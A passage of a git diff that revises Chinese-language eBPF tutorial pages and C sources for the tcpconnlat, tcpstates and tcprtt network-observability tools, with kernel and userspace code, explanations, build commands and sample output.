+    goto
+
+ cleanup;
+  __builtin_memcpy(&event.comm, piddatap->comm,
+      sizeof(event.comm));
+  event.ts_us = ts / 1000;
+  event.tgid = piddatap->tgid;
+  event.lport = BPF_CORE_READ(sk, __sk_common.skc_num);
+  event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport);
+  event.af = BPF_CORE_READ(sk, __sk_common.skc_family);
+  if (event.af == AF_INET) {
+    event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
+    event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr);
+  } else {
+    BPF_CORE_READ_INTO(&event.saddr_v6, sk,
+        __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32);
+    BPF_CORE_READ_INTO(&event.daddr_v6, sk,
+        __sk_common.skc_v6_daddr.in6_u.u6_addr32);
+  }
+  bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU,
+      &event, sizeof(event));
+
+cleanup:
+  bpf_map_delete_elem(&start, &sk);
+  return 0;
+}
+
+

理解这个程序的关键在于理解Linux内核的网络栈处理流程,以及eBPF程序的运行模式。Linux内核网络栈对TCP连接建立的处理过程是,首先调用tcp_v4_connecttcp_v6_connect函数(根据IP版本不同)发起TCP连接,然后在收到SYN-ACK包时,通过tcp_rcv_state_process函数来处理。eBPF程序通过在这两个关键函数上设置kprobe,可以在关键时刻得到通知并执行相应的处理代码。

+

一些关键概念说明:

+
    +
  • kprobe:Kernel Probe,是Linux内核中用于动态追踪内核行为的机制。可以在内核函数的入口和退出处设置断点,当断点被触发时,会执行与kprobe关联的eBPF程序。
  • +
  • map:是eBPF程序中的一种数据结构,用于在内核态和用户态之间共享数据。
  • +
  • socket:在Linux网络编程中,socket是一个抽象概念,表示一个网络连接的端点。内核中的struct sock结构就是对socket的实现。
  • +
+

用户态数据处理

+

用户态数据处理是使用perf_buffer__poll来接收并处理从内核发送到用户态的eBPF事件。perf_buffer__poll是libbpf库提供的一个便捷函数,用于轮询perf event buffer并处理接收到的数据。

+

首先,让我们详细看一下主轮询循环:

+
    /* main: poll */
+    while (!exiting) {
+        err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS);
+        if (err < 0 && err != -EINTR) {
+            fprintf(stderr, "error polling perf buffer: %s\n", strerror(-err));
+            goto cleanup;
+        }
+        /* reset err to return 0 if exiting */
+        err = 0;
+    }
+
+

这段代码使用一个while循环来反复轮询perf event buffer。如果轮询出错(例如由于信号中断),会打印出错误消息。这个轮询过程会一直持续,直到收到一个退出标志exiting

+

接下来,让我们来看看handle_event函数,这个函数将处理从内核发送到用户态的每一个eBPF事件:

+
void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) {
+    const struct event* e = data;
+    char src[INET6_ADDRSTRLEN];
+    char dst[INET6_ADDRSTRLEN];
+    union {
+        struct in_addr x4;
+        struct in6_addr x6;
+    } s, d;
+    static __u64 start_ts;
+
+    if (env.timestamp) {
+        if (start_ts == 0)
+            start_ts = e->ts_us;
+        printf("%-9.3f ", (e->ts_us - start_ts) / 1000000.0);
+    }
+    if (e->af == AF_INET) {
+        s.x4.s_addr = e->saddr_v4;
+        d.x4.s_addr = e->daddr_v4;
+    } else if (e->af == AF_INET6) {
+        memcpy(&s.x6.s6_addr, e->saddr_v6, sizeof(s.x6.s6_addr));
+        memcpy(&d.x6.s6_addr, e->daddr_v6, sizeof(d.x6.s6_addr));
+    } else {
+        fprintf(stderr, "broken event: event->af=%d", e->af);
+        return;
+    }
+
+    if (env.lport) {
+        printf("%-6d %-12.12s %-2d %-16s %-6d %-16s %-5d %.2f\n", e->tgid,
+               e->comm, e->af == AF_INET ? 4 : 6,
+               inet_ntop(e->af, &s, src, sizeof(src)), e->lport,
+               inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport),
+               e->delta_us / 1000.0);
+    } else {
+        printf("%-6d %-12.12s %-2d %-16s %-16s %-5d %.2f\n", e->tgid, e->comm,
+               e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)),
+               inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport),
+               e->delta_us / 1000.0);
+    }
+}
+
+

handle_event函数的参数包括了CPU编号、指向数据的指针以及数据的大小。数据是一个event结构体,包含了之前在内核态计算得到的TCP连接的信息。

+

首先,它将接收到的事件的时间戳和起始时间戳(如果存在)进行对比,计算出事件的相对时间,并打印出来。接着,根据IP地址的类型(IPv4或IPv6),将源地址和目标地址从网络字节序转换为主机字节序。

+

最后,根据用户是否选择了显示本地端口,将进程ID、进程名称、IP版本、源IP地址、本地端口(如果有)、目标IP地址、目标端口以及连接建立时间打印出来。这个连接建立时间是我们在内核态eBPF程序中计算并发送到用户态的。

编译运行

$ make
 ...
@@ -277,9 +656,17 @@ PID    COMM         IP SADDR            DADDR            DPORT LAT(ms)
 222726 ssh          4  192.168.88.15    167.179.101.42   22    241.17
 222774 ssh          4  192.168.88.15    1.15.149.151     22    25.31
 
+

源代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat

+

参考资料:

+

总结

-

通过上面的实验,我们可以看到,tcpconnlat 工具的实现原理是基于内核的TCP连接的跟踪,并且可以跟踪到 tcp 连接的延迟时间;除了命令行使用方式之外,还可以将其和容器、k8s 等元信息综合起来,通过 prometheusgrafana 等工具进行网络性能分析。

-

来源:https://github.com/iovisor/bcc/blob/master/libbpf-tools/tcpconnlat.bpf.c

+

通过本篇 eBPF 入门实践教程,我们学习了如何使用 eBPF 来跟踪和统计 TCP 连接建立的延时。我们首先深入探讨了 eBPF 程序如何在内核态监听特定的内核函数,然后通过捕获这些函数的调用,从而得到连接建立的起始时间和结束时间,计算出延时。

+

我们还进一步了解了如何使用 BPF maps 来在内核态存储和查询数据,从而在 eBPF 程序的多个部分之间共享数据。同时,我们也探讨了如何使用 perf events 来将数据从内核态发送到用户态,以便进一步处理和展示。

+

在用户态,我们介绍了如何使用 libbpf 库的 API,例如 perf_buffer__poll,来接收和处理内核态发送过来的数据。我们还讲解了如何对这些数据进行解析和打印,使得它们能以人类可读的形式显示出来。

+

如果您希望学习更多关于 eBPF 的知识和实践,请查阅 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。

+

接下来的教程将进一步探讨 eBPF 的高级特性,例如如何使用 eBPF 来追踪网络包的传输路径,如何利用 eBPF 对系统的性能进行细粒度的监控等等。我们会继续分享更多有关 eBPF 开发实践的内容,帮助您更好地理解和掌握 eBPF 技术,希望这些内容对您在 eBPF 开发道路上的学习和实践有所帮助。

diff --git a/13-tcpconnlat/tcpconnlat.c b/13-tcpconnlat/tcpconnlat.c index 8fa49a5..8c2ca9d 100644 --- a/13-tcpconnlat/tcpconnlat.c +++ b/13-tcpconnlat/tcpconnlat.c @@ -14,7 +14,6 @@ #include #include #include "tcpconnlat.skel.h" -// #include "trace_helpers.h" #define PERF_BUFFER_PAGES 16 #define PERF_POLL_TIMEOUT_MS 100 diff --git a/13-tcpconnlat/tcpconnlat.html b/13-tcpconnlat/tcpconnlat.html index e2962fd..87574ab 100644 --- a/13-tcpconnlat/tcpconnlat.html +++ b/13-tcpconnlat/tcpconnlat.html @@ -83,7 +83,7 @@ diff --git a/14-tcpstates/index.html b/14-tcpstates/index.html index 13d818c..4d0df5a 100644 --- a/14-tcpstates/index.html +++ b/14-tcpstates/index.html @@ -83,7 +83,7 @@ @@ -144,21 +144,27 @@
-

eBPF入门实践教程:使用 libbpf-bootstrap 开发程序统计 TCP 连接延时

-

内核态代码

-
// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
-/* Copyright (c) 2021 Hengqi Chen */
-#include <vmlinux.h>
-#include <bpf/bpf_helpers.h>
-#include <bpf/bpf_tracing.h>
-#include <bpf/bpf_core_read.h>
-#include "tcpstates.h"
+                        

eBPF入门实践教程十四:记录 TCP 连接状态与 TCP RTT

+

eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。

+

在我们的 eBPF 入门实践教程系列的这一篇,我们将介绍两个示例程序:tcpstatestcprtttcpstates 用于记录 TCP 连接的状态变化,而 tcprtt 则用于记录 TCP 的往返时间 (RTT, Round-Trip Time)。

+

tcprtttcpstates

+

网络质量在当前的互联网环境中至关重要。影响网络质量的因素有许多,包括硬件、网络环境、软件编程的质量等。为了帮助用户更好地定位网络问题,我们引入了 tcprtt 这个工具。tcprtt 可以监控 TCP 链接的往返时间,从而评估网络质量,帮助用户找出可能的问题所在。

+

当 TCP 链接建立时,tcprtt 会自动根据当前系统的状况,选择合适的执行函数。在执行函数中,tcprtt 会收集 TCP 链接的各项基本信息,如源地址、目标地址、源端口、目标端口、耗时等,并将这些信息更新到直方图型的 BPF map 中。运行结束后,tcprtt 会通过用户态代码,将收集的信息以图形化的方式展示给用户。

+

tcpstates 则是一个专门用来追踪和打印 TCP 连接状态变化的工具。它可以显示 TCP 连接在每个状态中的停留时长,单位为毫秒。例如,对于一个单独的 TCP 会话,tcpstates 可以打印出类似以下的输出:

+
SKADDR           C-PID C-COMM     LADDR           LPORT RADDR           RPORT OLDSTATE    -> NEWSTATE    MS
+ffff9fd7e8192000 22384 curl       100.66.100.185  0     52.33.159.26    80    CLOSE       -> SYN_SENT    0.000
+ffff9fd7e8192000 0     swapper/5  100.66.100.185  63446 52.33.159.26    80    SYN_SENT    -> ESTABLISHED 1.373
+ffff9fd7e8192000 22384 curl       100.66.100.185  63446 52.33.159.26    80    ESTABLISHED -> FIN_WAIT1   176.042
+ffff9fd7e819
 
-#define MAX_ENTRIES 10240
-#define AF_INET     2
-#define AF_INET6    10
-
-const volatile bool filter_by_sport = false;
+2000 0     swapper/5  100.66.100.185  63446 52.33.159.26    80    FIN_WAIT1   -> FIN_WAIT2   0.536
+ffff9fd7e8192000 0     swapper/5  100.66.100.185  63446 52.33.159.26    80    FIN_WAIT2   -> CLOSE       0.006
+
+

以上输出中,最多的时间被花在了 ESTABLISHED 状态,也就是连接已经建立并在传输数据的状态,这个状态到 FIN_WAIT1 状态(开始关闭连接的状态)的转变过程中耗费了 176.042 毫秒。

+

在我们接下来的教程中,我们会更深入地探讨这两个工具,解释它们的实现原理,希望这些内容对你在使用 eBPF 进行网络和性能分析方面的工作有所帮助。

+

tcpstate

+

由于篇幅所限,这里我们主要讨论和分析对应的 eBPF 内核态代码实现。以下是 tcpstate 的 eBPF 代码:

+
const volatile bool filter_by_sport = false;
 const volatile bool filter_by_dport = false;
 const volatile short target_family = 0;
 
@@ -246,78 +252,16 @@ int handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)
 
     return 0;
 }
-
-char LICENSE[] SEC("license") = "Dual BSD/GPL";
 
-

tcpstates 是一个追踪当前系统上的TCP套接字的TCP状态的程序,主要通过跟踪内核跟踪点 inet_sock_set_state 来实现。统计数据通过 perf_event向用户态传输。

-
SEC("tracepoint/sock/inet_sock_set_state")
-int handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)
-
-

在套接字改变状态处附加一个eBPF跟踪函数。

-
 if (ctx->protocol != IPPROTO_TCP)
-  return 0;
-
- if (target_family && target_family != family)
-  return 0;
-
- if (filter_by_sport && !bpf_map_lookup_elem(&sports, &sport))
-  return 0;
-
- if (filter_by_dport && !bpf_map_lookup_elem(&dports, &dport))
-  return 0;
-
-

跟踪函数被调用后,先判断当前改变状态的套接字是否满足我们需要的过滤条件,如果不满足则不进行记录。

-
 tsp = bpf_map_lookup_elem(&timestamps, &sk);
- ts = bpf_ktime_get_ns();
- if (!tsp)
-  delta_us = 0;
- else
-  delta_us = (ts - *tsp) / 1000;
-
- event.skaddr = (__u64)sk;
- event.ts_us = ts / 1000;
- event.delta_us = delta_us;
- event.pid = bpf_get_current_pid_tgid() >> 32;
- event.oldstate = ctx->oldstate;
- event.newstate = ctx->newstate;
- event.family = family;
- event.sport = sport;
- event.dport = dport;
- bpf_get_current_comm(&event.task, sizeof(event.task));
-
- if (family == AF_INET) {
-  bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_rcv_saddr);
-  bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_daddr);
- } else { /* family == AF_INET6 */
-  bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32);
-  bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32);
- }
-
-

使用状态改变相关填充event结构体。

-
    -
  • 此处使用了libbpf 的 CO-RE 支持。
  • -
-
 bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event));
-
-

将事件结构体发送至用户态程序。

-
 if (ctx->newstate == TCP_CLOSE)
-  bpf_map_delete_elem(&timestamps, &sk);
- else
-  bpf_map_update_elem(&timestamps, &sk, &ts, BPF_ANY);
-
-

根据这个TCP链接的新状态,决定是更新下时间戳记录还是不再记录它的时间戳。

-

用户态程序

-
    while (!exiting) {
-        err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS);
-        if (err < 0 && err != -EINTR) {
-            warn("error polling perf buffer: %s\n", strerror(-err));
-            goto cleanup;
-        }
-        /* reset err to return 0 if exiting */
-        err = 0;
-    }
-
-

不停轮询内核程序所发过来的 perf event

+

tcpstates主要依赖于 eBPF 的 Tracepoints 来捕获 TCP 连接的状态变化,从而跟踪 TCP 连接在每个状态下的停留时间。

+

定义 BPF Maps

+

tcpstates程序中,首先定义了几个 BPF Maps,它们是 eBPF 程序和用户态程序之间交互的主要方式。sportsdports分别用于存储源端口和目标端口,用于过滤 TCP 连接;timestamps用于存储每个 TCP 连接的时间戳,以计算每个状态的停留时间;events则是一个 perf_event 类型的 map,用于将事件数据发送到用户态。

+

追踪 TCP 连接状态变化

+

程序定义了一个名为handle_set_state的函数,该函数是一个 tracepoint 类型的程序,它将被挂载到sock/inet_sock_set_state这个内核 tracepoint 上。每当 TCP 连接状态发生变化时,这个 tracepoint 就会被触发,然后执行handle_set_state函数。

+

handle_set_state函数中,首先通过一系列条件判断确定是否需要处理当前的 TCP 连接,然后从timestampsmap 中获取当前连接的上一个时间戳,然后计算出停留在当前状态的时间。接着,程序将收集到的数据放入一个 event 结构体中,并通过bpf_perf_event_output函数将该 event 发送到用户态。

+

更新时间戳

+

最后,根据 TCP 连接的新状态,程序将进行不同的操作:如果新状态为 TCP_CLOSE,表示连接已关闭,程序将从timestampsmap 中删除该连接的时间戳;否则,程序将更新该连接的时间戳。

+

用户态的部分主要是通过 libbpf 来加载 eBPF 程序,然后通过 perf_event 来接收内核中的事件数据:

static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) {
     char ts[32], saddr[26], daddr[26];
     struct event* e = data;
@@ -350,13 +294,100 @@ int handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)
             (double)e->delta_us / 1000);
     }
 }
+
+

handle_event就是这样一个回调函数,它会被 perf_event 调用,每当内核有新的事件到达时,它就会处理这些事件。

+

handle_event函数中,我们首先通过inet_ntop函数将二进制的 IP 地址转换成人类可读的格式,然后根据是否需要输出宽格式,分别打印不同的信息。这些信息包括了事件的时间戳、源 IP 地址、源端口、目标 IP 地址、目标端口、旧状态、新状态以及在旧状态停留的时间。

+

这样,用户就可以清晰地看到 TCP 连接状态的变化,以及每个状态的停留时间,从而帮助他们诊断网络问题。

+

总结起来,用户态部分的处理主要涉及到了以下几个步骤:

+
    +
  1. 使用 libbpf 加载并运行 eBPF 程序。
  2. +
  3. 设置回调函数来接收内核发送的事件。
  4. +
  5. 处理接收到的事件,将其转换成人类可读的格式并打印。
  6. +
+

以上就是tcpstates程序用户态部分的主要实现逻辑。通过这一章的学习,你应该已经对如何在用户态处理内核事件有了更深入的理解。在下一章中,我们将介绍更多关于如何使用 eBPF 进行网络监控的知识。

+

tcprtt

+

在本章节中,我们将分析tcprtt eBPF 程序的内核态代码。tcprtt是一个用于测量 TCP 往返时间(Round Trip Time, RTT)的程序,它将 RTT 的信息统计到一个 histogram 中。

+

+/// @sample {"interval": 1000, "type" : "log2_hist"}
+struct {
+    __uint(type, BPF_MAP_TYPE_HASH);
+    __uint(max_entries, MAX_ENTRIES);
+    __type(key, u64);
+    __type(value, struct hist);
+} hists SEC(".maps");
 
-static void handle_lost_events(void* ctx, int cpu, __u64 lost_cnt) {
-    warn("lost %llu events on CPU #%d\n", lost_cnt, cpu);
+static struct hist zero;
+
+SEC("fentry/tcp_rcv_established")
+int BPF_PROG(tcp_rcv, struct sock *sk)
+{
+    const struct inet_sock *inet = (struct inet_sock *)(sk);
+    struct tcp_sock *ts;
+    struct hist *histp;
+    u64 key, slot;
+    u32 srtt;
+
+    if (targ_sport && targ_sport != inet->inet_sport)
+        return 0;
+    if (targ_dport && targ_dport != sk->__sk_common.skc_dport)
+        return 0;
+    if (targ_saddr && targ_saddr != inet->inet_saddr)
+        return 0;
+    if (targ_daddr && targ_daddr != sk->__sk_common.skc_daddr)
+        return 0;
+
+    if (targ_laddr_hist)
+        key = inet->inet_saddr;
+    else if (targ_raddr_hist)
+        key = inet->sk.__sk_common.skc_daddr;
+    else
+        key = 0;
+    histp = bpf_map_lookup_or_try_init(&hists, &key, &zero);
+    if (!histp)
+        return 0;
+    ts = (struct tcp_sock *)(sk);
+    srtt = BPF_CORE_READ(ts, srtt_us) >> 3;
+    if (targ_ms)
+        srtt /= 1000U;
+    slot = log2l(srtt);
+    if (slot >= MAX_SLOTS)
+        slot = MAX_SLOTS - 1;
+    __sync_fetch_and_add(&histp->slots[slot], 1);
+    if (targ_show_ext) {
+        __sync_fetch_and_add(&histp->latency, srtt);
+        __sync_fetch_and_add(&histp->cnt, 1);
+    }
+    return 0;
 }
 
-

收到事件后所调用对应的处理函数并进行输出打印。

+

首先,我们定义了一个 hash 类型的 eBPF map,名为hists,它用来存储 RTT 的统计信息。在这个 map 中,键是 64 位整数,值是一个hist结构,这个结构包含了一个数组,用来存储不同 RTT 区间的数量。

+

接着,我们定义了一个 eBPF 程序,名为tcp_rcv,这个程序会在每次内核中处理 TCP 收包的时候被调用。在这个程序中,我们首先根据过滤条件(源/目标 IP 地址和端口)对 TCP 连接进行过滤。如果满足条件,我们会根据设置的参数选择相应的 key(源 IP 或者目标 IP 或者 0),然后在hists map 中查找或者初始化对应的 histogram。

+

接下来,我们读取 TCP 连接的srtt_us字段,这个字段表示了平滑的 RTT 值,单位是微秒。然后我们将这个 RTT 值转换为对数形式,并将其作为 slot 存储到 histogram 中。

+

如果设置了show_ext参数,我们还会将 RTT 值和计数器累加到 histogram 的latencycnt字段中。

+

通过以上的处理,我们可以对每个 TCP 连接的 RTT 进行统计和分析,从而更好地理解网络的性能状况。

+

总结起来,tcprtt eBPF 程序的主要逻辑包括以下几个步骤:

+
    +
  1. 根据过滤条件对 TCP 连接进行过滤。
  2. +
  3. hists map 中查找或者初始化对应的 histogram。
  4. +
  5. 读取 TCP 连接的srtt_us字段,并将其转换为对数形式,存储到 histogram 中。
  6. +
  7. 如果设置了show_ext参数,将 RTT 值和计数器累加到 histogram 的latencycnt字段中。
  8. +
+

tcprtt 挂载到了内核态的 tcp_rcv_established 函数上:

+
void tcp_rcv_established(struct sock *sk, struct sk_buff *skb);
+
+

这个函数是在内核中处理TCP接收数据的主要函数,主要在TCP连接处于ESTABLISHED状态时被调用。这个函数的处理逻辑包括一个快速路径和一个慢速路径。快速路径在以下几种情况下会被禁用:

+
    +
  • 我们宣布了一个零窗口 - 零窗口探测只能在慢速路径中正确处理。
  • +
  • 收到了乱序的数据包。
  • +
  • 期待接收紧急数据。
  • +
  • 没有剩余的缓冲区空间。
  • +
  • 接收到了意外的TCP标志/窗口值/头部长度(通过检查TCP头部与预设标志进行检测)。
  • +
  • 数据在两个方向上都在传输。快速路径只支持纯发送者或纯接收者(这意味着序列号或确认值必须保持不变)。
  • +
  • 接收到了意外的TCP选项。
  • +
+

当这些条件不满足时,它会进入一个标准的接收处理过程,这个过程遵循RFC793来处理所有情况。前三种情况可以通过正确的预设标志设置来保证,剩下的情况则需要内联检查。当一切都正常时,快速处理过程会在tcp_data_queue函数中被开启。

编译运行

+

对于 tcpstates,可以通过以下命令编译和运行 libbpf 应用:

$ make
 ...
   BPF      .output/tcpstates.bpf.o
@@ -375,8 +406,92 @@ ffff9bf6d8ee88c0 229832  redis-serv 0.0.0.0         6379  0.0.0.0         0
 ffff9bf6d8ee88c0 229832  redis-serv 0.0.0.0         6379  0.0.0.0         0     LISTEN      -> CLOSE       1.763
 ffff9bf7109d6900 88750   node       127.0.0.1       39755 127.0.0.1       50966 ESTABLISHED -> FIN_WAIT1   0.000
 
+

对于 tcprtt,我们可以使用 eunomia-bpf 编译运行这个例子:

+

Compile:

+
docker run -it -v `pwd`/:/src/ yunwei37/ebpm:latest
+
+

或者

+
$ ecc runqlat.bpf.c runqlat.h
+Compiling bpf object...
+Generating export types...
+Packing ebpf object and config into package.json...
+
+

运行:

+
$ sudo ecli run package.json -h
+A simple eBPF program
+
+
+Usage: package.json [OPTIONS]
+
+Options:
+      --verbose                  Whether to show libbpf debug information
+      --targ_laddr_hist          Set value of `bool` variable targ_laddr_hist
+      --targ_raddr_hist          Set value of `bool` variable targ_raddr_hist
+      --targ_show_ext            Set value of `bool` variable targ_show_ext
+      --targ_sport <targ_sport>  Set value of `__u16` variable targ_sport
+      --targ_dport <targ_dport>  Set value of `__u16` variable targ_dport
+      --targ_saddr <targ_saddr>  Set value of `__u32` variable targ_saddr
+      --targ_daddr <targ_daddr>  Set value of `__u32` variable targ_daddr
+      --targ_ms                  Set value of `bool` variable targ_ms
+  -h, --help                     Print help
+  -V, --version                  Print version
+
+Built with eunomia-bpf framework.
+See https://github.com/eunomia-bpf/eunomia-bpf for more information.
+
+$ sudo ecli run package.json
+key =  0
+latency = 0
+cnt = 0
+
+     (unit)              : count    distribution
+         0 -> 1          : 0        |                                        |
+         2 -> 3          : 0        |                                        |
+         4 -> 7          : 0        |                                        |
+         8 -> 15         : 0        |                                        |
+        16 -> 31         : 0        |                                        |
+        32 -> 63         : 0        |                                        |
+        64 -> 127        : 0        |                                        |
+       128 -> 255        : 0        |                                        |
+       256 -> 511        : 0        |                                        |
+       512 -> 1023       : 4        |********************                    |
+      1024 -> 2047       : 1        |*****                                   |
+      2048 -> 4095       : 0        |                                        |
+      4096 -> 8191       : 8        |****************************************|
+
+key =  0
+latency = 0
+cnt = 0
+
+     (unit)              : count    distribution
+         0 -> 1          : 0        |                                        |
+         2 -> 3          : 0        |                                        |
+         4 -> 7          : 0        |                                        |
+         8 -> 15         : 0        |                                        |
+        16 -> 31         : 0        |                                        |
+        32 -> 63         : 0        |                                        |
+        64 -> 127        : 0        |                                        |
+       128 -> 255        : 0        |                                        |
+       256 -> 511        : 0        |                                        |
+       512 -> 1023       : 11       |***************************             |
+      1024 -> 2047       : 1        |**                                      |
+      2048 -> 4095       : 0        |                                        |
+      4096 -> 8191       : 16       |****************************************|
+      8192 -> 16383      : 4        |**********                              |
+
+

完整源代码:

+ +

参考资料:

+

总结

-

这里的代码修改自 https://github.com/iovisor/bcc/blob/master/libbpf-tools/tcpstates.bpf.c

+

通过本篇 eBPF 入门实践教程,我们学习了如何使用tcpstates和tcprtt这两个 eBPF 示例程序,监控和分析 TCP 的连接状态和往返时间。我们了解了tcpstates和tcprtt的工作原理和实现方式,包括如何使用 BPF map 存储数据,如何在 eBPF 程序中获取和处理 TCP 连接信息,以及如何在用户态应用程序中解析和显示 eBPF 程序收集的数据。

+

如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容。

diff --git a/14-tcpstates/tcpstates.c b/14-tcpstates/tcpstates.c index ecdeb67..6f9d8c5 100644 --- a/14-tcpstates/tcpstates.c +++ b/14-tcpstates/tcpstates.c @@ -183,257 +183,6 @@ static void handle_lost_events(void* ctx, int cpu, __u64 lost_cnt) { warn("lost %llu events on CPU #%d\n", lost_cnt, cpu); } -extern unsigned char _binary_min_core_btfs_tar_gz_start[] __attribute__((weak)); -extern unsigned char _binary_min_core_btfs_tar_gz_end[] __attribute__((weak)); - - -/* tar header from - * https://github.com/tklauser/libtar/blob/v1.2.20/lib/libtar.h#L39-L60 */ -struct tar_header { - char name[100]; - char mode[8]; - char uid[8]; - char gid[8]; - char size[12]; - char mtime[12]; - char chksum[8]; - char typeflag; - char linkname[100]; - char magic[6]; - char version[2]; - char uname[32]; - char gname[32]; - char devmajor[8]; - char devminor[8]; - char prefix[155]; - char padding[12]; -}; - -static char* tar_file_start(struct tar_header* tar, - const char* name, - int* length) { - while (tar->name[0]) { - sscanf(tar->size, "%o", length); - if (!strcmp(tar->name, name)) - return (char*)(tar + 1); - tar += 1 + (*length + 511) / 512; - } - return NULL; -} -#define FIELD_LEN 65 -#define ID_FMT "ID=%64s" -#define VERSION_FMT "VERSION_ID=\"%64s" - -struct os_info { - char id[FIELD_LEN]; - char version[FIELD_LEN]; - char arch[FIELD_LEN]; - char kernel_release[FIELD_LEN]; -}; - -static struct os_info* get_os_info() { - struct os_info* info = NULL; - struct utsname u; - size_t len = 0; - ssize_t read; - char* line = NULL; - FILE* f; - - if (uname(&u) == -1) - return NULL; - - f = fopen("/etc/os-release", "r"); - if (!f) - return NULL; - - info = calloc(1, sizeof(*info)); - if (!info) - goto out; - - strncpy(info->kernel_release, u.release, FIELD_LEN); - strncpy(info->arch, u.machine, FIELD_LEN); - - while ((read = getline(&line, &len, f)) != -1) { - if (sscanf(line, ID_FMT, info->id) == 1) - continue; - - if (sscanf(line, VERSION_FMT, info->version) == 1) { - /* remove '"' suffix */ - info->version[strlen(info->version) - 1] = 0; - continue; - } - } - -out: - free(line); - fclose(f); - - return info; -} -#define INITIAL_BUF_SIZE (1024 * 1024 * 4) /* 4MB */ - -/* adapted from https://zlib.net/zlib_how.html */ -static int inflate_gz(unsigned char* src, - int src_size, - unsigned char** dst, - int* dst_size) { - size_t size = INITIAL_BUF_SIZE; - size_t next_size = size; - z_stream strm; - void* tmp; - int ret; - - strm.zalloc = Z_NULL; - strm.zfree = Z_NULL; - strm.opaque = Z_NULL; - strm.avail_in = 0; - strm.next_in = Z_NULL; - - ret = inflateInit2(&strm, 16 + MAX_WBITS); - if (ret != Z_OK) - return -EINVAL; - - *dst = malloc(size); - if (!*dst) - return -ENOMEM; - - strm.next_in = src; - strm.avail_in = src_size; - - /* run inflate() on input until it returns Z_STREAM_END */ - do { - strm.next_out = *dst + strm.total_out; - strm.avail_out = next_size; - ret = inflate(&strm, Z_NO_FLUSH); - if (ret != Z_OK && ret != Z_STREAM_END) - goto out_err; - /* we need more space */ - if (strm.avail_out == 0) { - next_size = size; - size *= 2; - tmp = realloc(*dst, size); - if (!tmp) { - ret = -ENOMEM; - goto out_err; - } - *dst = tmp; - } - } while (ret != Z_STREAM_END); - - *dst_size = strm.total_out; - - /* clean up and return */ - ret = inflateEnd(&strm); - if (ret != Z_OK) { - ret = -EINVAL; - goto out_err; - } - return 0; - -out_err: - free(*dst); - *dst = NULL; - return ret; -} -struct btf *btf__load_vmlinux_btf(void); -void btf__free(struct btf *btf); -static bool vmlinux_btf_exists(void) { - struct btf* btf; - int err; - - btf = btf__load_vmlinux_btf(); - err = libbpf_get_error(btf); - if (err) - return false; - - btf__free(btf); - return true; -} - -static int ensure_core_btf(struct bpf_object_open_opts* opts) { - char name_fmt[] = "./%s/%s/%s/%s.btf"; - char btf_path[] = "/tmp/bcc-libbpf-tools.btf.XXXXXX"; - struct os_info* info = NULL; - unsigned char* dst_buf = NULL; - char* file_start; - int dst_size = 0; - char name[100]; - FILE* dst = NULL; - int ret; - - /* do nothing if the system provides BTF */ - if (vmlinux_btf_exists()) - return 0; - - /* compiled without min core btfs */ - if (!_binary_min_core_btfs_tar_gz_start) - return -EOPNOTSUPP; - - info = get_os_info(); - if (!info) - return -errno; - - ret = mkstemp(btf_path); - if (ret < 0) { - ret = -errno; - goto out; - } - - dst = fdopen(ret, "wb"); - if (!dst) { - ret = -errno; - goto out; - } - - ret = snprintf(name, sizeof(name), name_fmt, info->id, info->version, - info->arch, info->kernel_release); - if (ret < 0 || ret == sizeof(name)) { - ret = -EINVAL; - goto out; - } - - ret = inflate_gz( - _binary_min_core_btfs_tar_gz_start, - _binary_min_core_btfs_tar_gz_end - _binary_min_core_btfs_tar_gz_start, - &dst_buf, &dst_size); - if (ret < 0) - goto out; - - ret = 0; - file_start = tar_file_start((struct tar_header*)dst_buf, name, &dst_size); - if (!file_start) { - ret = -EINVAL; - goto out; - } - - if (fwrite(file_start, 1, dst_size, dst) != dst_size) { - ret = -ferror(dst); - goto out; - } - - opts->btf_custom_path = strdup(btf_path); - if (!opts->btf_custom_path) - ret = -ENOMEM; - -out: - free(info); - fclose(dst); - free(dst_buf); - - return ret; -} - -static void cleanup_core_btf(struct bpf_object_open_opts* opts) { - if (!opts) - return; - - if (!opts->btf_custom_path) - return; - - unlink(opts->btf_custom_path); - free((void*)opts->btf_custom_path); -} - int main(int argc, char** argv) { LIBBPF_OPTS(bpf_object_open_opts, open_opts); static const struct argp argp = { @@ -454,12 +203,6 @@ int main(int argc, char** argv) { libbpf_set_strict_mode(LIBBPF_STRICT_ALL); libbpf_set_print(libbpf_print_fn); - err = ensure_core_btf(&open_opts); - if (err) { - 